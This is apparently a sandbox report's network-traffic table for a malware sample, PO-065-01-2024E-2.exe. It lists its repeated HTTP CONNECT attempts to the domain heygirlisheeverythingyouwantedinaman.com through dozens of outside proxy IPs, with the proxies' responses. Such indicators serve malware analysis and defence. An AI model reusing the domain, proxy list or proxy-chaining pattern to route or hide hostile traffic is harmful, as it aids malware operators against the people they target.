Mar 11, 2024 16:39:47.183867931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.10	52432	147.75.92.244	9401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.184123039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.460764885 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.10	52263	116.199.168.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.184123039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.10	52451	72.210.252.137	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.184349060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.10	52413	203.74.125.18	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.186045885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.10	52322	185.237.206.204	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.187292099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.989057064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.176666021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.283593893 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.10	52447	147.75.34.85	10007	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.189308882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.490900040 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.10	52420	54.38.181.125	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.189429045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.989028931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:42.322566986 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:41:42 GMT Server: Apache/2.4.48 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.48 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.10	52570	5.161.108.72	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.189532042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.10	52466	167.71.5.83	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.189579010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.549309015 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.10	51530	209.14.112.10	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.189745903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.10	52571	5.161.108.72	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.190042019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.10	52347	47.229.171.150	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.192717075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176367044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.489221096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973714113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989165068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.973551035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.973346949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.989267111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.785681963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.10	52469	154.12.178.107	29985	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.203363895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.988951921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.989484072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.10	52441	185.49.30.5	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.209429026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.10	52415	103.200.135.229	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.268256903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.10	52471	211.222.252.187	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.268261909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.10	52449	193.239.58.92	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.273883104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.10	52366	106.105.218.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324090004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.10	52450	103.42.57.13	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324203014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176446915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.285979033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.217211008 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.10	52448	51.161.131.84	25843	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324327946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.10	51563	72.206.181.105	64935	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324421883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.10	52493	104.16.221.57	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324664116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.478805065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.10	51524	202.58.18.27	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324748039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.760174990 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.10	52517	172.67.181.20	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.324999094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.479403973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.10	52505	159.65.77.168	8585	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.325294971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.10	52539	104.20.34.100	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.325627089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
